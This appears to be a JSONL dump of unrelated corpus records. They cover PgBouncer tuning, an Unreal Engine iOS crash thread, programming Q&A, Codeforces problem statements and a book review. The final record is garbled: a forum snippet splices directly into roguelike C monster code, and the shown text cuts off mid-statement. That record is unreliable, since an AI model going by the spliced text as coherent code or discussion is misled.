    {"text": "After migration from Mysql to Postgres, my database server started to go to swap. It has 64GB of memory, while my Mysql server used to have only 32GB and it didn’t face that problems.\nI have 4 rails application servers(hosted by puma). Each server needs about 1000 connections to Postgres: I have 24 worker processes with 32..48 threads(for more details see the article on heroku). So I need about 4000 connections from webservers & some hundred connections from Sidekiq.\nI configured my Postgres server to have 5000 max_connections. Every connection needs work_mem memory, so I set it to 1MB(I don’t have any large joins).\nBut my server was constantly swapping! When it was happening, I just restarted my puma proceeses & everything was becoming fine. It was obvious: my application was leaking DB connections.\nAt first I tried to set the reaping_frequency config variable to 60 seconds: it tells Rails to look for connections from dead theads & try to recover them. It didn’t help me much\nI googled and found info about pgbouncer. To be short: it proxies connections to Postgres managing them very effectively. To compare: Postgres needs a couple of MG to handle 1 connection. PgBouncer needs only about 2KB to handle the same connection. Here are the useful links:\nWhat I did:\n- Installed pgbouncer (accepts connections on the same host by listens on port 6432)\n- Set PgBouncer config:\n- max_connections to 5000(you set to number of connections you need)\n- pool_mode = transaction\n- default_pool_size = 500(max connections to Postgres)\n- Set Postgres config:\n- max_connections = 500(max connections from pgbouncer)\n- work_mem = 4MB\n- Allowed to connect to PbBouncer only from my webservers with iptables\n- Switched my database.yml to connect to PgBouncer – you need to specify port and disable prepared_statements:\n#... username, password etc\nBefore using PgBouncer I used to have about 3-4k active connections to Postgres from webservers, most of them were idle. They were using my RAM and my server was using about 50-60GB RAM and always wanted to go to swap.\nNow: I have about 150-200 connections to Postgres from PgBouncer. My server users ONLY 3GB RAM. I don’t know what to do with the other RAM I have in rest Anyone needed?\nTake the picture from Newrelic:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 587, "token_count_with_eod": 588, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Any ios shipping build generated with Google VR plugin enabled, came out damaged.\nSplash screen start, and then the app close.\nIt looks somewhat related to Arm64, because developer builds just works fine, and the only difference, apparently, seems that developer builds are ArmV7 enabled by default.\nTested 4.14.3 and 415.0\nI had similar symptoms when I built my app for Android with third-party plugin enabled. Please check in your project if all unused plugins are disabled.\nI have a few questions for you that will help narrow down what issue it is that you are experiencing.\n- Can you reproduce this issue in a clean project?\n- If so, could you provide a detailed list of steps to reproduce this issue on our end?\n- Could you provide screen shots of any blueprints/settings that may be involved with this issue?\n- What device are you currently using when you have this issue?\n- What is the current OS being used on the device?\niPHONE 7 10.2.1\nInstall unreal engine 4.14.3\nStart a new blank project (i.e. First Person Demo), mobile, scalable, no content.\nPlugins/Virtual Reality, remove all, activate Google VR, restart project\nProject settings: package for SHIPPING, enable compressed cooking\nIOS settings, create package demo.firstperson.com, options enabled:\nPackage for iPhone only. All other options left as they are.\nRegistering new app id demo.firstperson.com, generating developing certificate, and developing provisioning.\nGet back to Ue4, project settings, import the provisioning and certificate.\nBuild for IOS\nOpen XCode, push the .IPA package into iPHone7\nRun the app FirstPerson, the splash screen start, then immediately, the splash screen close.\nAll the same, but DEVELOPMENT package, and the app starts normally.\nIf in development build, activate both ARM64 and Arm7, in IOS options, into project settings, and also the packaged Development IPA, crash after run.\nI was able to reproduce this issue on our end. I have written up a report and I have submitted it to the developers for further consideration. I have also provided a link to the public tracker. Please feel free to use the link provided for future updates. Thank you for your time and information.\nLink: Unreal Engine Issues and Bug Tracker (UE-42339)\nMake it a great day\nThis bug does not seems to be resolved, even in 4.16.0\nThis issue was marked as a duplicate of UE-41244. I have updated the public notes to show this change.\nGot this problem too, did anyone resolved this? I am using 4.16 version\nI do not have a workaround for this issue at this time.\nUE 4.16 - Development builds run well on iPhone 5s with both armv7 and arm64 turned on, but Shipping builds still crash after splash\nI got this problem too. using 4.16.2.\nShipping builds crash after splash.\nBuild OS version: macOS 10.12.5\nTesting device: iPhone6S (iOS 10.3.2)\nWhy is this issue marked as a duplicate of UE-41244?\nI think this problem is more serious than UE-41244 because we can’t publish iOS app using GoogleVR plugin.\nI have posted a question in bug reports about it: Crash on iOS after splash with GoogleVR plugin enabled - Mobile - Unreal Engine Forums\nSo, i hope we’ll get some new information about this bug, and I hope it will become “actual” from “duplicated”…\nAnd yes, there is quite a workaround to publish development and re-signed version, but it is not good anyway.\nSo if it is VERY important for someone to publish the app “RIGHT NOW!”, there is a working case: make dev. build, turn console by 4-tap off, resign ipa with distribution certificate and load to appstore. But the size will be very big. I made it for my project, because couldn’t wait anymore. For iOS 8 app should be less than 100MB, iOS9 < 400MB, iOS10 <2 or 4GB…\nDo you know what script settings to move? Very interesting for me, because I tried different methods for 2 weeks with no success.\nI found, that the crash is somehow related to this iOS system error: “SpringBoard(KeyboardArbiter) : HW kbd: Failed to set (null) as keyboard focus”\nI made a new post and added crash and runtime logs for details. Maybe it can help.\nThe log from Xcode tells, that crash connected with this error:\nShippingLog:  Jul 6 10:18:55 iPhone-Daniil\nSpringBoard(KeyboardArbiter) : HW kbd: Failed to set (null) as keyboard focus\nAnd it appears only with Shipping build and GoogleVR plugin enabled.\nAnd I fully support hirapong: UE-41244 seems to be a different to this issue, especialy, UE-41244 - seems to be solved, because there is no crash with Switch button in UE 4.16.2\nCorrect, this is a serious bug and was introduced by 4.13, and yes, it is not related UE-41244.\nPublishing is indeed possible with a workaround in v4.16.2…as long as it generates, working 64bit development/debug builds, some users managed to rid, moving many ios compiling script settings of the debug version, to the shipping version… but would be better, that shipping builds with Google VR enabled, would not crash.\nManipulation of compiling scripts may lead to unexpected results and probably not properly working .ipa’s\nYes, i’ve read somewhere that users moved ios compiling debug script settings, to the shipping script to get working ipa’s with GoogVR enabled.\nDevelopment/Debug builds works quite well for testing, but they are not good for publish for a series of reason, including a different management of the provisioning that generates upload errors in the Application Loader, and last not least, presence of some Unreal tools and libraries for console command and debug purpose, but also the console command itself.\nDevelopment builds have several cooking compression disabled, you may turn them on manually, and solve the size problems. Indeed, publishing development builds it is not yet the right solution, so we should push the team to fix this issue…", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1409, "token_count_with_eod": 1410, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I need a web program for capturing an audio file from a youtube's video. When I have choosen the programmer i'll give him more details. Spanish skills its a plus.\nOne more thing. I need an iPhone application wich consume this web and offering the posibility of download the mp3 to reproduction list.\nI need only the iPhone native app, I resolved already the web page. Thanks.\n4 Freelancer bieten im Durchschnitt $313 für diesen Job\nThis software would be completed to fit within your project design, using the Python language. The charge is figuring out how to modify pre existing code to match your projects needs and specifications.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Apparently, today is the day of records in the SuperPi – 32M discipline. A few hours ago, the Italian overclocker Hardware_Numb3rs published a new result obtained on a 2-core, 4-thread processor. Just like its Russian colleague M1RROR, Hardware_Numb3rs decided to test the overclocked CPU in the SuperPi – 32M benchmark. In the case of the M1RROR, it was the aged AMD Phenom II X4 945, but the Italian chose the latest AMD Athlon 3000G processor for his experiments.\nWith the help of liquid nitrogen, the aforementioned chip was overclocked to a very modest (compared to its older brothers in architecture) 5089 MHz. The stability at this frequency brought Hardware_Numb3rs the first place in the CPU rank in the SuperPi – 32M discipline with a result of 6 minutes, 47 seconds 629 milliseconds:\nConsidering the relatively low frequency of the chip, we dare to assume that this is not the most successful copy of the Athlon 3000G processor, and soon the enthusiast will get a better CPU.\nIt is not possible to find out what hardware the test setup contained, since, unfortunately, the Italian did not indicate any components other than the motherboard ASUS ROG STRIX X470-I Gaming.\nSource: Result page on the HWBot website", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 303, "token_count_with_eod": 304, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "|Racket Programming the Fun Way\nAuthor: James W. Stelly\nLisp is generally regarded as the language of the gods - but the gods are usually considered to be slightly more intelligent than the average mortal and so it is with some trepidation you should approach any descendent of Lisp. Racket is recognizably Lisp, but it also has object-oriented features that make \"normal\" programming easier. This said it is also worth knowing that the main use of Racket is to implement experimental languages and this is not the emphasis of this book. Instead this book is a collection of general projects that you might consider fun - hence \"Fun\" in the book's title.\nThe book uses the DrRacket IDE which is the only reasonable choice. Chapter 1 dives straight in with very Lisp-like lists and S expressions. If you've encountered Lisp in a former life this will look all very familiar. The presentation isn't formal and the syntax and ideas of the language are introduced by examples and informal discussion. There are no jokes, but the style is friendly and informative.\nChapter 2 introduces basic numeric types, Chapter 3 deals with creating functions and of course being a Lisp-like language this means lambda functions.\nReaching Chapter 4, we have left the basics of the language behind and start to look at examples. This is where you will learn most about Racket rather than details of the language. So if you don't like learning by example this isn't going to be to your liking. Chapter 4 is about graphics and Chapter 5 introduces Racket's GUI. This is all fairly object-oriented.\nChapter 6 is about data and file handling and the examples are about stats and visualization. Chapter 7 outlines the standard search algorithms, which is something any Lisp-oriented language is very good at. Chapter 8 introduces Racket's logic programming library, which gives you a chance to find out about Prolog-style programming. Chapter 9 looks at machines like Turing machines to give you some idea of what this aspect of computer science is all about and justifies the book's subtitle of \"from Strings to Turing Machines\".\nThe final chapter implements an algebraic calculator which does make use of Racket's language processing abilities, but this probably isn't enough for language theory students.\nThis is a beginner's book for the beginner who wants to learn something about Lisp-like languages. It doesn't cover all of the details of Racket, no mention is made of macros for example, and it doesn't explain why and how Racket is different from other Lisp-like languages, notably Clojure. As far as it goes it is a good introduction, as long as you like introductions that major on examples.\n|Last Updated ( Wednesday, 19 January 2022 )", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Q: How do I enable the minimal mode?\nA: Go to the Admin Panel, then find 'External Accounts Extended' and tick the box labelled as 'Minimal Mode'.\nQ: The service,  isn't working! What do I do?!\nA: Before posting about a service not working, make sure to check the following:\nMake sure the scopes are set correctly.\n- Most services have options to select the necessary scopes that your API application will request from the user. This addon only needs basic profile information so those related to that should be selected. For example, LinkedIn would need the following selected:\nThis allows your website to see their profile and email, necessary information to register on your site.\nSet the callback URL to your website's specific registration URL.\n- Most of the time this only needs to be your site URL, but some services require it to be set explicitly.\nThe format that needs to be used is the following:\nSo for example, for LinkedIn on the website testdomain.com, it would be 'testdomain.com/register/linkedin'\nQ: I received the error 'An unexpected error occurred. Please try again later.' What do I do?\nA: Follow these steps before posting that you are getting this error:\nAre the keys correct?\n- Make sure the API client key and the API secret are correctly inputted on your forum!\nDoes your VPS have the correct time?\n- I ran into this issue recently where my VPS's time drifted off and any oauth requests to services like Tumblr were simply rejected due to a skewed servertime. This is extremely unlikely to happen, but I only noticed my server having the wrong time because I was unable to login through Tumblr! It's worth a check", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "hi every one i'am having problem with include/require_once in PHP by which iam accessing a configuration file to connect database.\nThis problem exists in yahoo small business servers where i hosted my site in a free host it works fine for the same code.\nthe database connection is working fine but the including of files are not working even not showing an error.\nPlease help me out to solve this issue.\nIf this question is to placed on other location please lead me there.\nopen_connection(); ?>\nThe above is the code for accessing the DbConfig.php file which is in classes folder and the below is for creating instance of class and opening the connection which is a function in that class.\nhere i used include also but there is no display of any error.\ni checked that if that file exists or not using the following code.\n\nit displays \"File Found\".\nAnd there are no error logs in the domain control panel", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "It there an already developed toolbox system for setup and sharing that addresses these issues:\nAll fasteners etc have unique pre-defined company part numbers. (New part number would be added by the administrator).\nAny user can easily search for an exiting part by description ( before requesting a new part#)\nSetup so Toolbox can be shared by any remote (VPN) user having the option to use the company toolbox or their own local toolbox.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "#pragma once\r\n#include\r\n\r\nclass KMap {\r\nprivate:\r\n\t// Mảng 4x4 lưu trữ các vị trí đã nhập vào\r\n\tint matrix[4][4];\r\n\r\n\t// Đọc line và đưa vào mảng\r\n\tint parseToArray(std::string line, int numbers[16]);\r\n\r\npublic:\r\n\r\n\t// Constructor\r\n\tKMap();\r\n\r\n\t// Đọc dãy số từ console\r\n\tvoid parseLine(std::string line);\r\n\r\n\t// Sao chép ma trận\r\n\tvoid getMatrix(int m[4][4]);\r\n\r\n\t// Vẽ bản đồ Karnaugh\r\n\tvoid drawMap();\r\n};\r\n// Hàm tổng hợp các chức năng \r\nvoid Bool();", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "There are $$$n$$$ cards numbered $$$1, \\ldots, n$$$. The card $$$i$$$ has a red digit $$$r_i$$$ and a blue digit $$$b_i$$$ written on it.\n\nWe arrange all $$$n$$$ cards in random order from left to right, with all permutations of $$$1, \\ldots, n$$$ having the same probability. We then read all red digits on the cards from left to right, and obtain an integer $$$R$$$. In the same way, we read all blue digits and obtain an integer $$$B$$$. When reading a number, leading zeros can be ignored. If all digits in a number are zeros, then the number is equal to $$$0$$$. Below is an illustration of a possible rearrangement of three cards, and how $$$R$$$ and $$$B$$$ can be found.\n\nTwo players, Red and Blue, are involved in a bet. Red bets that after the shuffle $$$R > B$$$, and Blue bets that $$$R < B$$$. If in the end $$$R = B$$$, the bet results in a draw, and neither player wins.\n\nDetermine, which of the two players is more likely (has higher probability) to win the bet, or that their chances are equal. Refer to the Note section for a formal discussion of comparing probabilities.", "source": "cpt_codeforces", "language": "en", "token_count": 272, "token_count_with_eod": 273, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Lazy Load Pattern\nLazy loading is a software design pattern where the initialization of an object occurs only when it is actually needed and not before to preserve simplicity of usage and improve performance. In another word \"Lazy initialization of an object means that its creation is deferred until it is first used.\"\n- When you have an object that is expensive to create, and the program might not use it.\n- When you have an object that is expensive to create, and you want to defer its creation until after other expensive operations have been completed.\n- Prevent system memory or computing cycles usage when there is no reason to do it.\n- Improve the startup performance of the program\n- When initializing there can be some lag when things are getting loaded into memory.\nThe following code snippet demonstrates how lazy loading works:\nPost a Comment", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You have an array of integers $$$a$$$ of length $$$n$$$. You can apply the following operation to the given array:\n\n- Swap two elements $$$a_i$$$ and $$$a_j$$$ such that $$$i \\neq j$$$, $$$a_i$$$ and $$$a_j$$$ are either both even or both odd.\n\nDetermine whether it is possible to sort the array in non-decreasing order by performing the operation any number of times (possibly zero).\n\nFor example, let $$$a$$$ = [$$$7, 10, 1, 3, 2$$$]. Then we can perform $$$3$$$ operations to sort the array:\n\n1. Swap $$$a_3 = 1$$$ and $$$a_1 = 7$$$, since $$$1$$$ and $$$7$$$ are odd. We get $$$a$$$ = [$$$1, 10, 7, 3, 2$$$];\n2. Swap $$$a_2 = 10$$$ and $$$a_5 = 2$$$, since $$$10$$$ and $$$2$$$ are even. We get $$$a$$$ = [$$$1, 2, 7, 3, 10$$$];\n3. Swap $$$a_4 = 3$$$ and $$$a_3 = 7$$$, since $$$3$$$ and $$$7$$$ are odd. We get $$$a$$$ = [$$$1, 2, 3, 7, 10$$$].", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "I’m searching to find a solution to get rid of the banner warning every time I boot to my macOS High Sierra.\nThe solution is to format and reinstall macOS High Sierra on the partition.\n- How To Make External NTFS Hard Drives Writable In Big Sur\n- Import iPhone Photos on Mac Using Preview and Image Capture Apps\n- How To Get iMessage and FaceTime Working On Big Sur\n- How To Replace WIFI Module On Dell Inspiron 3668\n- How To Backup DVDs To MP4 macOS Big Sur\n- How To Make Your First Desktop Hackintosh\n- Install macOS Big Sur On Supported Windows PCs and Laptops\n- How To Get Intel WiFi/BlueTooth Modules To Work With Hackintosh", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 150, "token_count_with_eod": 151, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Yes i am sexy. Dude priest male/female shell looks sexy too.Originally posted by Shurt+-->
    QUOTE(Shurt)
    Originally posted by KrisTysonLegolas@\n Objective (or Reflexive)\r\n * 0x02 --> Possessive (or Reflexive)\r\n * 0x04 --> Use indefinites for hidden monsters (\"something\")\r\n * 0x08 --> Use indefinites for visible monsters (\"a kobold\")\r\n * 0x10 --> Pronominalize hidden monsters\r\n * 0x20 --> Pronominalize visible monsters\r\n * 0x40 --> Assume the monster is hidden\r\n * 0x80 --> Assume the monster is visible\r\n *\r\n * Useful Modes:\r\n * 0x00 --> Full nominative name (\"the kobold\") or \"it\"\r\n * 0x04 --> Full nominative name (\"the kobold\") or \"something\"\r\n * 0x80 --> Genocide resistance name (\"the kobold\")\r\n * 0x88 --> Killing name (\"a kobold\")\r\n * 0x22 --> Possessive, genderized if visable (\"his\") or \"its\"\r\n * 0x23 --> Reflexive, genderized if visable (\"himself\") or \"itself\"\r\n */\r\nvoid monster_desc(char *desc, const monster_type *m_ptr, int mode)\r\n{\r\n\tcptr res;\r\n\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\tcptr name = (r_name + r_ptr->name);\r\n\r\n\tbool seen, pron;\r\n\r\n\r\n\t/* Can we \"see\" it (forced, or not hidden + visible) */\r\n\tseen = ((mode & (0x80)) || (!(mode & (0x40)) && m_ptr->ml));\r\n\r\n\t/* Sexed Pronouns (seen and forced, or unseen and allowed) */\r\n\tpron = ((seen && (mode & (0x20))) || (!seen && (mode & (0x10))));\r\n\r\n\r\n\t/* First, try using pronouns, or describing hidden monsters */\r\n\tif (!seen || pron)\r\n\t{\r\n\t\t/* an encoding of the monster \"sex\" */\r\n\t\tint kind = 0x00;\r\n\r\n\t\t/* Extract the gender (if applicable) */\r\n\t\tif (r_ptr->flags1 & (RF1_FEMALE)) kind = 0x20;\r\n\t\telse if (r_ptr->flags1 & (RF1_MALE)) kind = 0x10;\r\n\r\n\t\t/* Ignore the gender (if desired) */\r\n\t\tif (!m_ptr || !pron) kind = 0x00;\r\n\r\n\r\n\t\t/* Assume simple result */\r\n\t\tres = \"it\";\r\n\r\n\t\t/* Brute force: split on the possibilities */\r\n\t\tswitch (kind + (mode & 0x07))\r\n\t\t{\r\n\t\t\t/* Neuter, or unknown */\r\n\t\t\tcase 0x00: res = \"it\"; break;\r\n\t\t\tcase 0x01: res = \"it\"; break;\r\n\t\t\tcase 0x02: res = \"its\"; break;\r\n\t\t\tcase 0x03: res = \"itself\"; break;\r\n\t\t\tcase 0x04: res = \"something\"; break;\r\n\t\t\tcase 0x05: res = \"something\"; break;\r\n\t\t\tcase 0x06: res = \"something's\"; break;\r\n\t\t\tcase 0x07: res = \"itself\"; break;\r\n\r\n\t\t\t/* Male (assume human if vague) */\r\n\t\t\tcase 0x10: res = \"he\"; break;\r\n\t\t\tcase 0x11: res = \"him\"; break;\r\n\t\t\tcase 0x12: res = \"his\"; break;\r\n\t\t\tcase 0x13: res = \"himself\"; break;\r\n\t\t\tcase 0x14: res = \"someone\"; break;\r\n\t\t\tcase 0x15: res = \"someone\"; break;\r\n\t\t\tcase 0x16: res = \"someone's\"; break;\r\n\t\t\tcase 0x17: res = \"himself\"; break;\r\n\r\n\t\t\t/* Female (assume human if vague) */\r\n\t\t\tcase 0x20: res = \"she\"; break;\r\n\t\t\tcase 0x21: res = \"her\"; break;\r\n\t\t\tcase 0x22: res = \"her\"; break;\r\n\t\t\tcase 0x23: res = \"herself\"; break;\r\n\t\t\tcase 0x24: res = \"someone\"; break;\r\n\t\t\tcase 0x25: res = \"someone\"; break;\r\n\t\t\tcase 0x26: res = \"someone's\"; break;\r\n\t\t\tcase 0x27: res = \"herself\"; break;\r\n\t\t}\r\n\r\n\t\t/* Copy the result */\r\n\t\tstrcpy(desc, res);\r\n\t}\r\n\r\n\r\n\t/* Handle visible monsters, \"reflexive\" request */\r\n\telse if ((mode & 0x02) && (mode & 0x01))\r\n\t{\r\n\t\t/* The monster is visible, so use its gender */\r\n\t\tif (r_ptr->flags1 & (RF1_FEMALE)) strcpy(desc, \"herself\");\r\n\t\telse if (r_ptr->flags1 & (RF1_MALE)) strcpy(desc, \"himself\");\r\n\t\telse strcpy(desc, \"itself\");\r\n\t}\r\n\r\n\r\n\t/* Handle all other visible monster requests */\r\n\telse\r\n\t{\r\n\t\t/* It could be a Unique */\r\n\t\tif (r_ptr->flags1 & (RF1_UNIQUE))\r\n\t\t{\r\n\t\t\t/* Start with the name (thus nominative and objective) */\r\n\t\t\tstrcpy(desc, name);\r\n\t\t}\r\n\r\n\t\t/* It could be an indefinite monster */\r\n\t\telse if (mode & 0x08)\r\n\t\t{\r\n\t\t\t/* XXX Check plurality for \"some\" */\r\n\r\n\t\t\t/* Indefinite monsters need an indefinite article */\r\n\t\t\tstrcpy(desc, is_a_vowel(name[0]) ? \"an \" : \"a \");\r\n\t\t\tstrcat(desc, name);\r\n\t\t}\r\n\r\n\t\t/* It could be a normal, definite, monster */\r\n\t\telse\r\n\t\t{\r\n\t\t\t/* Definite monsters need a definite article */\r\n\t\t\tstrcpy(desc, \"the \");\r\n\t\t\tstrcat(desc, name);\r\n\t\t}\r\n\r\n\t\t/* Handle the Possessive as a special afterthought */\r\n\t\tif (mode & 0x02)\r\n\t\t{\r\n\t\t\t/* XXX Check for trailing \"s\" */\r\n\r\n\t\t\t/* Simply append \"apostrophe\" and \"s\" */\r\n\t\t\tstrcat(desc, \"'s\");\r\n\t\t}\r\n\r\n\t\t/* Mention \"offscreen\" monsters XXX XXX */\r\n\t\tif (!panel_contains(m_ptr->fy, m_ptr->fx))\r\n\t\t{\r\n\t\t\t/* Append special notation */\r\n\t\t\tstrcat(desc, \" (offscreen)\");\r\n\t\t}\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\n * Learn about a monster (by \"probing\" it)\r\n */\r\nvoid lore_do_probe(int m_idx)\r\n{\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\tmonster_lore *l_ptr = &l_list[m_ptr->r_idx];\r\n\r\n\r\n\t/* Hack -- Memorize some flags */\r\n\tl_ptr->r_flags1 = r_ptr->flags1;\r\n\tl_ptr->r_flags2 = r_ptr->flags2;\r\n\tl_ptr->r_flags3 = r_ptr->flags3;\r\n\r\n\t/* Update monster recall window */\r\n\tif (p_ptr->monster_race_idx == m_ptr->r_idx)\r\n\t{\r\n\t\t/* Window stuff */\r\n\t\tp_ptr->window |= (PW_MONSTER);\r\n\t}\r\n}\r\n\r\n\r\n/*\r\n * Take note that the given monster just dropped some treasure\r\n *\r\n * Note that learning the \"GOOD\"/\"GREAT\" flags gives information\r\n * about the treasure (even when the monster is killed for the first\r\n * time, such as uniques, and the treasure has not been examined yet).\r\n *\r\n * This \"indirect\" method is used to prevent the player from learning\r\n * exactly how much treasure a monster can drop from observing only\r\n * a single example of a drop. This method actually observes how much\r\n * gold and items are dropped, and remembers that information to be\r\n * described later by the monster recall code.\r\n */\r\nvoid lore_treasure(int m_idx, int num_item, int num_gold)\r\n{\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\tmonster_lore *l_ptr = &l_list[m_ptr->r_idx];\r\n\r\n\r\n\t/* Note the number of things dropped */\r\n\tif (num_item > l_ptr->r_drop_item) l_ptr->r_drop_item = num_item;\r\n\tif (num_gold > l_ptr->r_drop_gold) l_ptr->r_drop_gold = num_gold;\r\n\r\n\t/* Hack -- memorize the good/great flags */\r\n\tif (r_ptr->flags1 & (RF1_DROP_GOOD)) l_ptr->r_flags1 |= (RF1_DROP_GOOD);\r\n\tif (r_ptr->flags1 & (RF1_DROP_GREAT)) l_ptr->r_flags1 |= (RF1_DROP_GREAT);\r\n\r\n\t/* Update monster recall window */\r\n\tif (p_ptr->monster_race_idx == m_ptr->r_idx)\r\n\t{\r\n\t\t/* Window stuff */\r\n\t\tp_ptr->window |= (PW_MONSTER);\r\n\t}\r\n}\r\n\r\n\r\n\r\n/*\r\n * This function updates the monster record of the given monster\r\n *\r\n * This involves extracting the distance to the player (if requested),\r\n * and then checking for visibility (natural, infravision, see-invis,\r\n * telepathy), updating the monster visibility flag, redrawing (or\r\n * erasing) the monster when its visibility changes, and taking note\r\n * of any interesting monster flags (cold-blooded, invisible, etc).\r\n *\r\n * Note the new \"mflag\" field which encodes several monster state flags,\r\n * including \"view\" for when the monster is currently in line of sight,\r\n * and \"mark\" for when the monster is currently visible via detection.\r\n *\r\n * The only monster fields that are changed here are \"cdis\" (the\r\n * distance from the player), \"ml\" (visible to the player), and\r\n * \"mflag\" (to maintain the \"MFLAG_VIEW\" flag).\r\n *\r\n * Note the special \"update_monsters()\" function which can be used to\r\n * call this function once for every monster.\r\n *\r\n * Note the \"full\" flag which requests that the \"cdis\" field be updated,\r\n * this is only needed when the monster (or the player) has moved.\r\n *\r\n * Every time a monster moves, we must call this function for that\r\n * monster, and update the distance, and the visibility. Every time\r\n * the player moves, we must call this function for every monster, and\r\n * update the distance, and the visibility. Whenever the player \"state\"\r\n * changes in certain ways (\"blindness\", \"infravision\", \"telepathy\",\r\n * and \"see invisible\"), we must call this function for every monster,\r\n * and update the visibility.\r\n *\r\n * Routines that change the \"illumination\" of a grid must also call this\r\n * function for any monster in that grid, since the \"visibility\" of some\r\n * monsters may be based on the illumination of their grid.\r\n *\r\n * Note that this function is called once per monster every time the\r\n * player moves. When the player is running, this function is one\r\n * of the primary bottlenecks, along with \"update_view()\" and the\r\n * \"process_monsters()\" code, so efficiency is important.\r\n *\r\n * Note the optimized \"inline\" version of the \"distance()\" function.\r\n *\r\n * A monster is \"visible\" to the player if (1) it has been detected\r\n * by the player, (2) it is close to the player and the player has\r\n * telepathy, or (3) it is close to the player, and in line of sight\r\n * of the player, and it is \"illuminated\" by some combination of\r\n * infravision, torch light, or permanent light (invisible monsters\r\n * are only affected by \"light\" if the player can see invisible).\r\n *\r\n * Monsters which are not on the current panel may be \"visible\" to\r\n * the player, and their descriptions will include an \"offscreen\"\r\n * reference. Currently, offscreen monsters cannot be targetted\r\n * or viewed directly, but old targets will remain set. XXX XXX\r\n *\r\n * The player can choose to be disturbed by several things, including\r\n * \"disturb_move\" (monster which is viewable moves in some way), and\r\n * \"disturb_near\" (monster which is \"easily\" viewable moves in some\r\n * way). Note that \"moves\" includes \"appears\" and \"disappears\".\r\n */\r\nvoid update_mon(int m_idx, bool full)\r\n{\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\tmonster_lore *l_ptr = &l_list[m_ptr->r_idx];\r\n\r\n\tint d;\r\n\r\n\t/* Current location */\r\n\tint fy = m_ptr->fy;\r\n\tint fx = m_ptr->fx;\r\n\r\n\t/* Seen at all */\r\n\tbool flag = FALSE;\r\n\r\n\t/* Seen by vision */\r\n\tbool easy = FALSE;\r\n\r\n\r\n\t/* Compute distance */\r\n\tif (full)\r\n\t{\r\n\t\tint py = p_ptr->py;\r\n\t\tint px = p_ptr->px;\r\n\r\n\t\t/* Distance components */\r\n\t\tint dy = (py > fy) ? (py - fy) : (fy - py);\r\n\t\tint dx = (px > fx) ? (px - fx) : (fx - px);\r\n\r\n\t\t/* Approximate distance */\r\n\t\td = (dy > dx) ? (dy + (dx>>1)) : (dx + (dy>>1));\r\n\r\n\t\t/* Restrict distance */\r\n\t\tif (d > 255) d = 255;\r\n\r\n\t\t/* Save the distance */\r\n\t\tm_ptr->cdis = d;\r\n\t}\r\n\r\n\t/* Extract distance */\r\n\telse\r\n\t{\r\n\t\t/* Extract the distance */\r\n\t\td = m_ptr->cdis;\r\n\t}\r\n\r\n\r\n\t/* Detected */\r\n\tif (m_ptr->mflag & (MFLAG_MARK)) flag = TRUE;\r\n\r\n\r\n\t/* Nearby */\r\n\tif (d <= MAX_SIGHT)\r\n\t{\r\n\t\t/* Basic telepathy */\r\n\t\tif (p_ptr->telepathy)\r\n\t\t{\r\n\t\t\t/* Empty mind, no telepathy */\r\n\t\t\tif (r_ptr->flags2 & (RF2_EMPTY_MIND))\r\n\t\t\t{\r\n\t\t\t\t/* Memorize flags */\r\n\t\t\t\tl_ptr->r_flags2 |= (RF2_EMPTY_MIND);\r\n\t\t\t}\r\n\r\n\t\t\t/* Weird mind, occasional telepathy */\r\n\t\t\telse if (r_ptr->flags2 & (RF2_WEIRD_MIND))\r\n\t\t\t{\r\n\t\t\t\t/* One in ten individuals are detectable */\r\n\t\t\t\tif ((m_idx % 10) == 5)\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Detectable */\r\n\t\t\t\t\tflag = TRUE;\r\n\r\n\t\t\t\t\t/* Memorize flags */\r\n\t\t\t\t\tl_ptr->r_flags2 |= (RF2_WEIRD_MIND);\r\n\r\n\t\t\t\t\t/* Hack -- Memorize mental flags */\r\n\t\t\t\t\tif (r_ptr->flags2 & (RF2_SMART)) l_ptr->r_flags2 |= (RF2_SMART);\r\n\t\t\t\t\tif (r_ptr->flags2 & (RF2_STUPID)) l_ptr->r_flags2 |= (RF2_STUPID);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t/* Normal mind, allow telepathy */\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t/* Detectable */\r\n\t\t\t\tflag = TRUE;\r\n\r\n\t\t\t\t/* Hack -- Memorize mental flags */\r\n\t\t\t\tif (r_ptr->flags2 & (RF2_SMART)) l_ptr->r_flags2 |= (RF2_SMART);\r\n\t\t\t\tif (r_ptr->flags2 & (RF2_STUPID)) l_ptr->r_flags2 |= 